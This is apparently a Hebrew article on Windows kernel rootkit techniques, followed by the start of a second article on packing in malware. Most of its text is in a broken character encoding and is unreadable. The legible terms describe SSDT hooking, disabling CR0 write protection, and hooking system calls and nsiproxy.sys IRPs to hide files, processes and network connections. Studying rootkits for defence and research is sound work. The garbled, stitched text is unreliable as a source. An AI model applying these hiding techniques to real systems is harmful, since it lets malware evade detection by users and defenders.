π˟entry ˪πrelative offset ˯˧˯˟ˢˬ ˪˷ ˢ˪˟˦ˢ ˡ˰ ˪πstub ˣˮ˪˷ Φ˧ˡ˩ ˢ˴˧˲˵ˢ˷ ˪-stub ˣˮ˪˷ ˡˣ˟˰˸ 

ˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˱˧˪˥ˢ˪ ˸˞ ˸˰˟˶˞ ˫˧˦˧˟ˢ ˫˧˩ˣˬˮˢ ˶˸ˣ˧˟ ˟πrelative offset ˣˮ˪˷ ˸˰˟˶˞˟ ˫˧˦˧˟ˢ 

˫˧˩ˣˬˮˢ ˶˸ˣ˧˟ ˨˶˰˟ ˧˶ˣ˵ˬˢ ˪˷ s-entry ύ˞˪ ˧˸˞˴ˬ ˶˟˯ˢ ˦˪˥ˣˬ ˢ˪ˣ˰˲˪ ˣˤˢ ˪˟˞ ˢˤ ˢ˞˶ˮ˩ ˪˪ˠ˟ 

ˢ˷πhandler ˪˷ sπsyscalls ˢ˷ˣ˰ ˸ˣ˪ˣ˰˲ ˸ˣˬ˧ˣ˯ˬ ˫ˣˠ˶˸˟ ˸ˣˬ˞˸ˣˬ˷ ˪˩˪ entry ˢ˩˩ ˸˰˟˶˞ˢ˷ 

˫˧˦˧˟ ˫˧˩ˣˬˮˢ ˶˸ˣ˧˟ ˫˧˩˧˶˴ ˸ˣ˧ˢ˪ ˫˧˰ˣ˟˵ό 

сό ˧ˡ˩ ˟ˣ˸˩˪ ˪πSSDT ˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˷ˬ˸˷ˢ˪ ˟πMDL Σ˨˞ ˪˪ˠ˟ ˢ˷πSSDT ˞˧ˢ ˢ˪˟˦ ˸˧˯˥˧ ˢ˪ˣˡˠ Σ˞˪ 

ˢ˴˶ˮ ˸ˣ˴˵ˢ˪ ˨˩˪˩ ˢ˟˶ˢ ˭ˣ˶˩˧ˤ non-paged ˸ˣ˷˰˪ˣ ˸˞ ˪˩ ˨˧˪ˢ˸ˢ ˧ˡ˩ ˟ˣ˸˩˪ Φ˫ˣ˵ˬ˟ ˸˞ˤ Σˣˮ˥ˮ˞ 

˫˧˪ˣ˩˧ ˸ˣ˟˩˪ ˸˞ ˦˧˟ˢ ˪˷ WP ˶˦˯˧ˠ˶˟ CR0 ˪˷ ˶˟˧˧˶ˡˢ ˣˮ˪˷ ΦCR0 ˞ˣˢ ˶˦˯˧ˠ˶ ˦˪ˣ˷˷ ˪˰ ˢ˴˧˶ˢ 
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˪˷ ˢˮ˩ˣ˸ ˦˧˟ˢˣ ˪˷ WP ˰ˮˣˬ ˣˮ˸˧˞ˬ ˟ˣ˸˩˪ ˫˧˶ˣˤ˧˞˪ ˫ˢ˷ read-only Σ˧ˡ˩ ˸ˣˮ˷˪ ˣ˸ˣ˞ ˷ˬ˸˷ˮ 

˸ˣ˪ˣ˰˲˟ __readcr0Σ__writecr0 ˷ˬ˸˷ˮˣ ˟πbitwise and ˪˧˟˷˟ ˸ˣ˟˩˪ ˸˞ ˦˧˟ˢ ˪˷ WP ˧˲˪ 

ˢ˶ˣ˦˵˦˧˩˶˞ˢ ˪˷ AMD64Υ 

 

тό ˶˥˞˪ ˪˩ ˨˧˪ˢ˸ˢ ˢˤˢ ˣˮ˥ˮ˞ ˱ˣ˯˲ˣ˯ ˪˩ˣˮ ˟ˣ˸˩˪ ˸˞ sπrelative offset ˣˮ˪˷ ˪πentry ˶˶˥˷ˮˣ ˸˞ ˪˩ 

˭ˣ˶˩ˤˢ ˣˮ˪˰ˮ˷ ˣˮ˴˵ˢˣ Σ˭˧˟ ˶˸˧ˢ ˫ˠ ˵˧˪ˡˮ ˢ˶ˤ˥ ˸˞ WP ˟πCR0Φ 

˪˩ ˨˧˪ˢ˸ˢ ˢ˞˶ˮ ˨˩Υ 
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˷ˣˬ˧˷˟ ˧˪˷ ˟πSSDT HOOK ˧˸˞˟˥ˢ ˫˧˴˟˵ ˸˶ˤ˰˟ ˸ˣ˶˟˥˸ˢ ˸ˣ˪ˣ˰˲˪ NtQueryDirectoryFile/Ex ˨˞ 

˨˧˪ˢ˸ ˢ˞˟˥ˢˢ ˷ˬˬ ˦ˣ˷˲ ύˢ˞˧˶˵ ˢ˪ˣ˰˲˪ ˸˧˶ˣ˵ˬˢ ˢ˶˧ˤ˥ˬ˷ ˢˬ˧˷˶ ˸˶˷ˣ˵ˬ ˪˷ ˫˧˴˟˵κ˸ˣ˧˵˧˸ 

˫˧ˬ˧˧˵ Σ˸˞ˣˣ˷ˢ ˫˷ ˳˟ˣ˵˪ ˧ˮ˞˷ ˢ˴ˣ˶ ˞˧˟˥ˢ˪ Σ˫˞ ˭˩ ˱˧˯ˣˢ˪ ˪πOffsetToNext ˪˷ ˳˟ˣ˵ˢ ˫ˡˣ˵ˢ ˸˞ sπ

OffsetToNext ˪˷ ˳˟ˣ˵ˢ ˧ˮ˞˷ ˢ˴ˣ˶ ˞˧˟˥ˢ˪ ό˭˩˪ˣ ˞˪ ˯ˮ˩˞ ˣ˧˪˞ Φ 

˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˢ˦˧˷˟ xʕ ˞˧˟˥ˢ˪ registry keys Σ˫˧˴˟˵ ˸ˣ˧˵˧˸ˣ ˣ˪˧˲˞ˣ ˞˧˟˥ˢ˪ ˫˧˩˧˪ˢ˸ ύhook ˪π

NtQuerySystemInformation Φό˶˟ˡ ˟ˣ˷˥˷ ˶ˣ˩ˤ˪ ˢ˦˧˷˟ xʕ ˞ˣˢ ˢ˪ˣ˰˲ˢ˷ ˪˰˲˸˷ ˫ˣ˵ˬ˟ ˢ˩˧˶˴ ˸ˣ˧ˢ˪ 

ˢˮ˩ˣˬ ˪˟˵˪ ˵ˣ˧ˡ˟ ˸˞ ˫˸ˣ˞ ˫˧˶˦ˬ˶˲ ˶˧ˤ˥ˢ˪ˣ ˸˞ ˣ˸ˣ˞ ˯ˣ˲˧˦ ˧ˡ˩ ˸˩˶˰ˬˢ˷ ˨˧˷ˬ˸ ˪ˣ˰˲˪ ˣˬ˩ ˨˧˶˴˷Φ 

 

IRP hooking 

ˢ˦˧˷ˢ ˣˤˢ ˸˯˯ˣ˟ˬ ˪˰ ˫˸ˣ˞ IRP major tables ˧˸ˮ˧˧˴˷ ˧ˮ˲˪ ˭˩ Φ˸ˣ˪ˣ˰˲ˢ ˸ˣ˞˴ˬˮ˷ ˢ˪˟˦˟ ˸˞ˤˢ 

˸ˣ˞˶˵ˮ ˩πdispatch functions ˰ˠ˶˟ ˰ˣ˶˧˞˷ ˫˧ˣ˯ˬ ˢ˶ˣ˵ Σ˞ˬˠˣˡ˪ ΥIRP_MJ_DEVICE_CONTROL ˞ˣˢ 

˯˵ˡˮ˧˞ˢ ˣ˟˷ ˷˧ ˰˧˟˴ˬ ˢ˪ˣ˰˲˪ ˞˶˵˸˷ ˰ˠ˶˟ ˢˮ˩ˣ˸˷ ˢ˯ˮˬ ˶˷˵˸˪ ˫˰ ˶˟˧˧˶ˡˢ ύˣˬ˩ ˫˰ 

DeviceIoControl Φό˭ˣ˧˰˶ˢ ˧˶ˣ˥˞ˬ IRP hooking ˞ˣˢ ˸ˣˮ˷˪ ˸˞ ˰˧˟˴ˬˢ ˷˧˷ ˨˶˰ˬ˟ ˯˵ˡˮ˧˞˟ ˣˮ˥ˮ˞˷ 

˫˧˴ˣ˶ ˸ˣ˷˰˪ x˪ hook Σˢ˩˩ ˢ˪ˣ˰˲ˢ˷ ˣˮ˪˷ ˞˶˵˸ ˫ˣ˵ˬ˟ ˢ˪ˣ˰˲ˢ ˸˧˶ˣ˵ˬˢ Φ˭ˣ˧˰˶ ˢˤ ˢ˟˶ˢ ˶˸ˣ˧ ˪˵ 

˷ˣˬ˧ˬ˪ ˸ˣ˦˧˷ˬ ˸ˣ˶˥˞ ˣˬ˩ SSDT hook ˪˪ˠ˟ ˡˣ˵˩˷ ˳˶˷ ˪ˮ˶˵˟ Σ˷˧ ˧˪ ˢ˷˧ˠ ˸ˣˮ˷˪ ˸˞ ˢˮ˟ˬ sπ

DRIVER_OBJECT ύ˶˟˧˧˶ˡˢ ˣˬ˴˰ ˯˧ˮ˩ˬ ˫˧˩˶˰ Ϧ˸˧ˬ˞ˮ˧ˡ Ϧ˨˶˰ˬ˪ό. 
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˨˩ ˧˸˰˴˧˟ ˸˞ˤΥ 

мό ˪˪ˠ˟ ˧ˮ˞˷ ˶˟˧˧˶ˡ˩ ˪˷ ˱˵ˣ˸ ˢ˯ˮˬ ˸ˣ˷˰˪ IRP hooking ˶˟˧˧˶ˡ˪ ˶˥˞ ˸ˣ˶˦ˬ˪ ˸ˣ˧ˮˣˡˤ Σ˧ˮ˞ ˫ˡˣ˵ ˪˩ 

˨˧˶˴ ˞ˣ˴ˬ˪ ˸˞ sπDRIVER_OBJECT ˪˷ ˶˟˧˧˶ˡˢ ˫˧˞˸ˬˢ Φ˫˷˪ ˨˩ ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˢ˪ˣ˰˲˟ 

ObReferenceObjectByName Σˢ˪ˣ˰˲ˢ ˸˪˟˵ˬ ˢˬ˩ ˫˧˶˦ˬ˶˲ ˫˧˧ˤ˩˶ˬˢ˷˩ ˫ˢˮ˧˟ ˫ˢ ˫˷ˢ ˪˷ 

˶˟˧˧˶ˡˢ Σ˰ˡ˧ˬˢ ˫˧˷˵˟ˬ˷ ˪˰ ˶˟˧˧˶ˡˢ ˫ˣ˵ˬˢˣ ˦˪˲˪ ˪˷ ˢ˪ˣ˰˲ˢ ύPDRIVER_OBJECT* ˪˟˵ˬ˷ ˸˞ 

˰˧˟˴ˬˢ ˢˮ˸˷ˬ˪ ˰˧˟˴ˬ˷ ˪˰ ˦˵˧˧˟ˣ˞ ˶˟˧˧˶ˡˢ Φό˧ˡ˩ ˪˩ˣˮ˷ ˷ˬ˸˷ˢ˪ ˢ˪ˣ˰˲˟ xʕ ˵˲˯˪ˣ ˢ˪ ˸˞ ˠˣ˯ 

˰ˡ˧ˬˢ ˫˧˷˵˟ˬ˷ ˪˰ ˶˟˧˧˶ˡˢ ˣˮ˥ˮ˞˷ ˫˧˴ˣ˶ Σ˷ˬ˸˷ˮ ˯ˣ˲˧˦˟ ˢ˪ˣ˰˲˟ˣ ˸ˣ˞˴ˣ˧ˬ˷ ˣˮ˪ ˪˰ ˧ˡ˧ ˪ˮ˶˵ˢ 

˸˶ˤ˰˟ ˢ˶ˢ˴ˢˢ ˢ˞˟ˢ: 

 

нό ˢ˲ˬ ˣˮ˥ˮ˞ ˶˟˩ ˫˧˪ˣ˩˧ ˸ˣ˷˰˪ hook ˢ˪ˣ˰˲˪ ˸˞˴ˬˮ˷ ˯˵ˡˮ˧˞˟ ˣˮ˥ˮ˞˷ ˫˧˴ˣ˶ Σ˪˟˞ ˧ˡ˩ ˪˩ˣˮ˷ 

˷ˬ˸˷ˢ˪ ˢ˪ˣ˰˲˟ ˸˧˶ˣ˵ˬˢ ˫˞ ˷˧ ˨˶ˣ˴ ξ ˸ˣ˷˰˪ unhook ˢ˶˵ˬ˟ ˷˧˷ ˨˶ˣ˴ ˢ˴˶ˮ ˫ˠ ˶ˣˬ˷˪ ˸˞ 

˨˶˰ˢ ˧˶ˣ˵ˬˢ ˢ˪˟˦˟ 

оό ˧ˡ˩ ˸ˣˮ˷˪ ˸˞ ˨˶˰ˢ ˢ˪˟˦˟ ˪˩ˣˮ ˸ˣ˶˧˷˧ ˯˧ˮ˩ˢ˪ ˸˞ ˰˧˟˴ˬˢ ˢ˪ˣ˰˲˪ ˣˮ˪˷ Σ˨˞ ˪˪ˠ˟ ˣˮ˥ˮ˞˷ ˫˧˴ˣ˶ 

˞ˡˣˣ˪ ˞˪˷ ˪˵˸ˮ ˢ˶˵ˬ˟ ˭ˣ˴˧˵ ˣ˟˷ ˢ˧ˢ˸ ˢ˧ˮ˲ ˣ˸ˣ˞˪ ˢ˪ˣ˰˲ˢ ˭ˬˤ˟ ˢ˲˪˥ˢˢ ˪˷ ˨˶˰ˢ Σ˷ˬ˸˷ˮ 

ˢ˪ˣ˰˲˟ InterlockedExchange64 ˧ˡ˩ ˰˴˟˪ ˸˞ ˢ˲˪˥ˢˢ ˢ˶ˣ˴˟ ˸˧ˬˣ˦˞ ύ˵˶ ˸˪ˣ˰˲ ˧˪˟ˬ˯˞ ˸˥˞ό 

˨˩ ˨˧˪ˢ˸ sπhooking ˢ˞˶ˮΥ 
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˧ˮ˞ ˧˸˷ˬ˸˷ˢ ˢ˦˧˷˟ xʕ ˧ˡ˩ ˞˧˟˥ˢ˪ ˸˶ˣ˷˵˸ ˸˧˦ˮ˶˦ˮ˧˞ ˸˞˴ˣ˧˷ x˞ ˸˯ˮ˩ˮ ˪˞ ˸˩˶˰ˬˢ ˢ˩˩ ˫˧˪˩˷ ˣˬ˩ 

netstat ˞˪ ˣ˞˶˧ ˸˞ sπIP ˧ˮ˞˷ ˢ˴ˣ˶ ˶˧˸˯ˢ˪ Φ˧˸˧˷˰ ˸˞ˤ ˢ˶ˣ˴˟ ˣˤ˩Υ 

мό ˧˸˧˷˰ IRP hook ˸˪ˣ˰˲˪ sπIRP_MJ_DEVICE_CONTROL ˶˟˧˧˶ˡ˟ nsiproxy.sys Σˢ˩˩ ˢ˪ˣ˰˲˷ ˧ˮ˞˷ 

˧˸ˮ˩ˢ ˞˶˵˸ ˪˩ ˫˰˲ ˫ˣ˵ˬ˟ ˢ˪ˣ˰˲ˢ ˸˧˶ˣ˵ˬˢ Φˢ˪ˣ˰˲ˢ ˣˤˢ ˸˧˞˶˥˞ ˭˧˟ ˶˸˧ˢ ˢ˶ˤ˥ˢ˪ ˪˷ ˰ˡ˧ˬ ˪˰ 

˸˶ˣ˷˵˸ ˸˧˦ˮ˶˦ˮ˧˞ ύ˧˸˧˪˧ˠ ˸˞ ˢˤ ˪˪ˠ˟ ˧˶˥˞˷ Reverse Engineering ˪πnetstat.exe ˧˸ˬ˷ ˟˪ ˷˧˷ 

˸ˣ˧ˮ˲ ˶˟˧˧˶ˡ˪ ˢˤˢ ˡ˟˪˟ ˶ˣ˟˰ ˰ˡ˧ˬˢό 

нό ˧˶˥˞ ˢ˪ˣ˰˲ˢ˷ ˧˪˷ ˢ˰˴˟˸ˢ ˫ˣ˵ˬ˟ ˢ˪ˣ˰˲ˢ ˸˧˶ˣ˵ˬˢ ˧˸˯˲ˡˢ ˰ˡ˧ˬ ˣˬ˩ ˪ˡˣˠ ˦˪˵ˢ ˰˧ˠˢ˷ ˧˪˞ 

˫˧˩˶˰ˢˣ ˫˧˞˴ˬˮ˷ ˪˰ˣ˲˟ ˟πinput buffers ˣ˰˧ˠˢ˷ ˧˪˞ Φˢˤ ˢ˧ˢ ˨˧˪ˢ˸ ˨ˣ˶˞ ˨˟ˣ˯ˬˣ ˨˞ ˸˶ˤ˰˟ 

WinDBG ˸˶ˤ˰˟ˣ ˦˧˵˦ˣ˶ ˧˸˞˴ˬ˷ ˥˵˪˷ ˢ˷˧ˠ ˢˬˣˡ ύautochk Σ˧˸˲˯ˣˢ ˶ˣ˷˧˵ ˢ˦ˬ˪ ό˧˸˰ˠˢ ˪π

struct ˟˧˩˶ˬ˷ ˸˞ ˫˧ˮˣ˸ˮˢ ˫˧˰˧ˠˬ˷ ˫˧˶ˤˣ˥ˣ ˦˪˵˩Υ 

 

оό ˪˪ˠ˟ ˶˟˧˧˶ˡ˷ ˪˟˵ˬ ˸ˣ˷˵˟ ˸ˣˮˣ˷ ˢ˸ˣ˞˪ dispatch function ύˣˬ˩ ˧˸˶˟˯ˢ˷ ˫˰ ˡˣ˵ sπIOCTL Σό

˶˥˞˪ ˧˸˞ˡ˧ˣ˷ ˫˞ ˫˧˶˦ˬ˶˲ˢ ˫˧˧˦ˮˣˣ˪˶ ˢ˷˵˟˪ ˧ˮ˞˷ ˨˧˶˴ ˸ˣˮ˷˪ ˸˞ ˸ˣ˞˴ˣ˸ˢ ˢ˪˷ ˧ˮ˞ ˧˸˯ˮ˩ˢ ˪π

CompletionRoutine ˪˷ sπIRP ˢ˪ˣ˰˲ ˸˶˥˞ ˧˪˷ ˪˟˵˸˷ ˸˞ ˢˬ˧˷˶ˢ ˰˴˟˸ˣ ˸˞ ˢ˞˟˥ˢˢ 

˸˧˸˧ˬ˞ˢ Φ 

˞˪ ˧˸˯ˮ˩ˮ ˢ˲ ˪πdriver stack ˰˴˟˸ˬ˷ ˟-Windows ˪˟˞ ˪˰ˣ˲˟ ˫˧ˬ˧˧˵ ˢˬ˩ ˫˧˶˟˧˧˶ˡ ˫˧˪˰ˣ˲˷ ˡ˥˞ 

˧˶˥˞ ˧ˮ˷ˢ ˸ˣ˷˥˶˸ˢ˟ ˢ˷˵˟ ˸ˬ˧ˣ˯ˬ Σˢˤ ˞˶˵ˮ sπdriver stack ˪˰ˣ˲˷ ˶ˣ˟˰ ˢ˸ˣ˞ ˢ˷˵˟Φ  
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πsIRP ˶˟˰ˣˬ˷ ˶˟˧˧˶ˡ˪ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˶˷˧ ˞˶ˣ˵ˢˬ ˥˪˷˷ ˸˞ ˢ˷˵˟ˢ ˪ˣ˩˧ˣ ˸ˣ˧ˢ˪ ˶˟˧˧˶ˡˬ ˪˰˲˷ ˫ˡˣ˵ 

˭˩˪ ˶˧˟˰ˢˣ ˸˞ ˫˧ˮˣ˸ˮˢ ˶˟˧˧˶ˡ˪ ˞˟ˢ ˟πstack ˧˶˥˞ ˞ˣˢ˷ ˰˴˧˟ ˸˞ ˸ˣ˪ˣ˰˲ˢ ˞ˣˢ˷ ˨˧˶˴ ˰˴˟˪ Σ˭˧˟ ˫˞ 

ˢˤ ˧ˣˮ˧˷ ˪˷ ˫˧˶˦ˬ˶˲ˢ ˫˧˧˶ˣ˵ˬˢ x˞ ˵˶ log ˢˬ˪ ˰˧ˠˢ˷Φ 

πsCompletionRoutine ˟πIRP ˞˶˵˧ ˪˰ ˧ˡ˧ ˶˟˧˧˶ˡˢ ˭ˣ˶˥˞ˢ ˟πstack ˪˷ ˢ˷˵˟ˢ ˶˥˞˪ ˢ˷˵˟ˢ˷ 

˶ˣ˟˰˸ ˨˶ˡ ˪˩ ˫˧˶˟˧˧˶ˡˢ ˣ˧ˢ˧ˣ ˸ˣ˞˴ˣ˸ ˸ˣ˞˪ˬ Σ˨˧˪ˢ˸ˢ ˡ˟ˣ˰ ˢ˶ˣ˴˟ ˣˤ˩Υ 

 

пό ˢ˞˟˥ˢˢ ˢˬ˴˰ ˞˪ ˸˟˩˶ˣˬ ˡ˥ˣ˧ˬ˟ ˢˬˣˡˣ ˭ˣ˶˵˰˟ ˸˞˟˥ˢ˪ ˳˟ˣ˵ Φˢˬ˧˷˶ˢ ˢ˟˷ ˞˧˟˥ˮ ˸˞ 

ˢ˶ˣ˟˰˸ˢ ˞˧ˢ ˪˰ˣ˲˟ ˢˬ˧˷˶ ˪˷ ˧˩˶˰ ULONG ˪˩˷˩ ˨˶˰ ˠ˴˧˧ˬ ˸˟ˣ˸˩ IP ˸˶˷˵˸ˬ˷ ˫˰ ˸˩˶˰ˬˢΥ 

 

ˣˮ˥ˮ˞ ˷˲˥ˮ ˸˞ ˨˶˰ˢ ˪˷ ˸˟ˣ˸˩ˢ ˣˮ˥ˮ˞˷ ˫˧˴ˣ˶ ˞˧˟˥ˢ˪ ˢˬ˧˷˶˟ ˰ˠ˶˟ˣ ˞˴ˬˮ˷ ˣ˸ˣ˞ ˯˲˞ˮ ˸˞ ˭ˣ˶˩ˤˢ Σ

ˢˬ ˫ˣ˶ˠ˧˷ ˸ˣˮ˩ˣ˸˪ ˸ˣ˶˥˞ ˞˪ ˸ˣ˞˶˪ ˸˞ ˶ˣ˟˧˥ˢ ˣˮ˶˸˯ˢ˷ Φ 
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˨˩ ˸˞˶ˮ ˢ˪ˣ˰˲ˢ ˢ˷ˣ˰˷ hooking ˢ˪ˣ˰˲ˢˣ ˸˯ˮ˩ˣˬ˷ ˪πCompletionRoutineΥ 
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˫ˣ˩˧˯ 

˶ˬ˞ˬ˟ ˢˤ ˧˸˧˯˧˩ ˵˪˥ ˪ˣˡˠ ˧ˤ˩˶ˬˣ ˢˬˬ ˸ˮ˩˸ˬ˷ x˞ ˶˵ˣ˥ ˪˷ ˪ˮ˶˵ˢ ˸˩˶˰ˬ˟ ˢ˪˰˲ˢˢ Windows ˢ˴˶˧ 

˸˰ˡ˪ ˧ˮ˲˪ ˞ˣˢ˷ ˪˧˥˸ˬ Φ˭˟ˣˬ˩ ˷˧˷ ˡˣ˰ ˧ˮ˟ˬ ˫˧ˮˣ˸ˮ ˫˧˟˶ ˪ˮ˶˵˟ ˫˧˪ˣ˩˧˷ ˸ˣ˧ˢ˪ ˫˧˧˦ˮˣˣ˪˶ ˸ˣ˪˧˰˲˪ 

˸ˬ˧ˣ˯ˬˢ ˪˩˷ ˸ˮ˩˸ˬ x˞ ˶˵ˣ˥ ˦˧˪˥ˬ ˸ˣ˷˰˪ x˞ ˸ˣ˧ˠˣ˪ˣˮ˩˦ ˸ˣ˪ˣ˩˧˷ ˸ˣ˧ˢ˪ ˸ˣ˧˥˶˩ˢ Σ˨˞ ˢˬ ˧˸ˮ˧˧˴˷ ˞ˣˢ 

˯˧˯˟ ˢ˪ˣ˰ˬ ˫ˠ ˫˧˷ˮ˞˪ ˫˧˴ˣ˶˷ ˵˧ˬ˰ˢ˪ ˸˶ˣ˴˟ ˸ˣ˪˧˰˲ˢ ˪˷ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ ˭˧˟ˢ˪ˣ ˸˞ ˸˶ˣ˴ ˢ˟˧˷˥ˢ 

˫˧˵˯˰˸ˬ˷ ˫˰ ˫˧ˮˣˮˠˮˬ ˢ˪˞˩ ˟˪˟ ˸˩˶˰ˬˢΦ 

˶˟˥ˬˢ ˪˰ 

˧ˮ˞  ˢ˪˰˲ˢˢ ˸ˣ˩˶˰ˬ ˧˵ˬˣ˰˟ ˡˣ˞ˬ ˭˧˧ˮ˰˸ˬˢ '˟˧ ˢ˸˧˩˟ ˡ˧ˬ˪˸-  ˶˵˧˰˟Windows ˶ˣ˵˥˪ ˢ˯ˮˬ ˧ˮ˞ .

 ˷˧˷ ˢ˶˵ˬ˟ .˵˯˰˸ˬ ˧ˮ˞ ˫ˢ˟˷ ˫˧ˬˣ˥˸˟ ˧˪˷ ˰ˡ˧ˢ ˸˞ ˵˧ˬ˰ˢ˪ˣ ,˭ˬˤˢ ˪˩ ˡˣ˰ ˡˣˬ˪˪ˣ ˭ˣ˴˶ ˣ˞ ˸ˣ˪˞˷

:ˣ˪˪ˢ ˫˧˦˶˲ˢ ˸˶ˤ˰˟ ˸˞ˤ ˸ˣ˷˰˪ ˭˸˧ˮ ,˧˸˧˞ ˶˷˵˸˪ 

shaygilat@gmail.com 

https://github.com/shaygitub 

https://www.linkedin.com/in/shay-gilat-67b727281 

ˢ˧˲˶ˠˣ˧˪˟˧˟ 

¶ solutions-neuvik-thebasics-exploitation-kernel-windows-https://www.linkedin.com/pulse/journey π 

˶˟˧˧˶ˡˢ ˸ˣ˪˧˰˲ ˨˶ˡ 

¶ https://www.vergiliusproject.com π ˢ˯ˡˮˢ ˶ˣ˥˞˪ ˪˷ ˫˧˶˟ˡ ˫˧˟˶ ˟πWindows 

¶ https://reactos.org π ˶ˣˤ˥˷ ˪˷ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ Windows ˭ˣ˶˸˲˪ Open source 

¶ APCs.md-27-03-https://github.com/shaygitub/ExtraStuffBlog/blob/main/_posts/2024 π ˶˟˯ˢ ˪˰ APC 

¶ DPCs.md-27-03-https://github.com/shaygitub/ExtraStuffBlog/blob/main/_posts/2024 π ˶˟˯ˢ ˪˰ DPC 

¶ structure-eprocess-savvy.com/understanding-https://info π ˶˟˯ˢ ˪˰ EPROCESS 

¶ http://uninformed.org/index.cgi?v=3&a=7&p=6 π ˶˟˯ˢ ˪˰ PspCidTable 

¶ https://github.com/JakubGlisz/GetSSDT π ˸ˠ˷ˢ ˯˧˯˟ˢ ˪˷ sπSSDT 

¶ -into-internals/glimpse-kernel-forensics/windows-reversing-https://www.ired.team/miscellaneous

kernel-x64-windows-in-ssdt π ˶˟˯ˢ ˧˪˪˩ ˪˰ SSDT TABLE 

¶ -internals/manipulating-lkerne-forensics/windows-reversing-https://www.ired.team/miscellaneous

userland-in-processes-unlink-to-activeprocesslinks π ˶˟˯ˢ ˪˰ EPROCESS UNLINKING ˪˰ˣ LIST ENTRY 

¶ -systemthread-remove-bypass/455676-cheat-ts.me/forum/antihttps://www.unknownchea

pspcidtable.html π ˶˟˯ˢ ˪˰ PspCidTable 

¶ https://github.com/crvvdev/MasterHide Σanalysis-rootkit-https://repnz.github.io/posts/autochk - 

˫˧˦˧˵˦ˣ˶ ˫˧˲˯ˣˮ ˫˧ˬ˧ˠˡˬ˷ ˫˧˷ˬ˸˷ˬˣ ˸ˣ˦˧˷˟ ˪˷ SSDT HOOKING xπIRP HOOKING ˢ˶ˣ˴˟ ˧˸ˬˠˡˢ˷ 

¶ rootkit-https://github.com/shaygitub/windows π ˶ˣ˷˧˵ ˦˵˧ˣ˶˲˪ ˧˪˷ ˢˡˣ˟˰ˬ˷ ˣ˧˪˰ ˧˸ˡˬ˪ ˸˞ ˪˩ ˢˬ 

˧˸˶˟˯ˢ˷ ˶ˬ˞ˬ˟ ύˡˣˬ˰ˢˣ ˟˞ˢ˦˧ˠ ˧˪˷ Jό 

mailto:shaygilat@gmail.com
https://github.com/shaygitub
https://www.linkedin.com/in/shay-gilat-67b727281
https://www.linkedin.com/pulse/journey-windows-kernel-exploitation-thebasics-neuvik-solutions/
https://www.linkedin.com/pulse/journey-windows-kernel-exploitation-thebasics-neuvik-solutions/
https://www.vergiliusproject.com/
https://www.vergiliusproject.com/
https://reactos.org/
https://reactos.org/
https://github.com/shaygitub/ExtraStuffBlog/blob/main/_posts/2024-03-27-APCs.md
https://github.com/shaygitub/ExtraStuffBlog/blob/main/_posts/2024-03-27-APCs.md
https://github.com/shaygitub/ExtraStuffBlog/blob/main/_posts/2024-03-27-DPCs.md
https://github.com/shaygitub/ExtraStuffBlog/blob/main/_posts/2024-03-27-DPCs.md
https://info-savvy.com/understanding-eprocess-structure/
https://info-savvy.com/understanding-eprocess-structure/
http://uninformed.org/index.cgi?v=3&a=7&p=6
http://uninformed.org/index.cgi?v=3&a=7&p=6
https://github.com/JakubGlisz/GetSSDT
https://github.com/JakubGlisz/GetSSDT
https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/glimpse-into-ssdt-in-windows-x64-kernel
https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/glimpse-into-ssdt-in-windows-x64-kernel
https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland
https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland
https://www.unknowncheats.me/forum/anti-cheat-bypass/455676-remove-systemthread-pspcidtable.html
https://www.unknowncheats.me/forum/anti-cheat-bypass/455676-remove-systemthread-pspcidtable.html
https://github.com/crvvdev/MasterHide
https://github.com/crvvdev/MasterHide
https://repnz.github.io/posts/autochk-rootkit-analysis/
https://github.com/shaygitub/windows-rootkit
https://github.com/shaygitub/windows-rootkit
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Packing and Unpacking in Malicious Files 

˸˞ˬ ˶ˬˣ˰ ˭ˣ˪˥˩ 

 

ˢˬˡ˵ˢ 

˸˥˞ ˸ˣ˶˦ˬˢ ˪˷ ˱˵ˣ˸ ˶˷˞˩ ˞ˣˢ ˟˸ˣ˩ ˭˰ˠˣ˲) ˡ˟˪ˬ ˭˟ˣˬ˩ ˰ˣ˴˧˟ ˢ˪ˣ˰˲ ˸˧ˮˣˡˤ ˭ˣˠ˩ ˸˟˧ˮˠ ˸ˣ˞ˬ˯˧˯ Σ

˸˲˪ˡˢ ˰ˡ˧ˬ Σ˸ˮ˲˴ˢ ˫˧˴˟˵ ˢˬˣˡ˩ˣ ό˞˧ˢ ˸ˣ˷˵ˢ˪ ˪˰ ˨˧˪ˢ˸ ˢ˶˧˵˥ˢ ˪˷ ˭˰ˠˣ˲ˢ Σ˶˟ˡ ˞˦˟˸ˬˢ ˶˵˧˰˟ 

˸˩˶˞ˢ˟ ˭ˬˤ ˢ˶˧˵˥ˢ ˢ˶ˣ˴˟ ˸˧˸ˣ˰ˬ˷ˬ Σ˱˞ˣ ˸˰˧ˮˬ ˸˪ˣ˩˧ ˢ˶˧˵˥ˢ ˪˪˩Φ 

˪˰ ˸ˮˬ ˸ˣ˷˵ˢ˪ ˪˰ ˨˧˪ˢ˸ ˢ˶˧˵˥ˢ Σ˸ˣˬ˧˧˵ ˶˲˯ˬ ˸ˣ˵˧ˮ˩˦ ˸˶˩ˣˬ ˭ˣˠ˩ Anti-Debugging x˞ Anti-VM ύ˪˰ 

˸ˣ˵˧ˮ˩˦ ˣ˪˞ ˞˪ ˦˶˲˞ ˶ˬ˞ˬ˟ ˢˤ Σ˫˰ ˸˞ˤ ˷˧ ˭ˣˬˢ ˫˧˶ˬ˞ˬ ˫˧˶˵ˣ˯ˢ ˸˞ ˸ˣ˵˧ˮ˩˦ˢ ˮˢϦ˪ Φˣˬ˩ ˫ˠ 

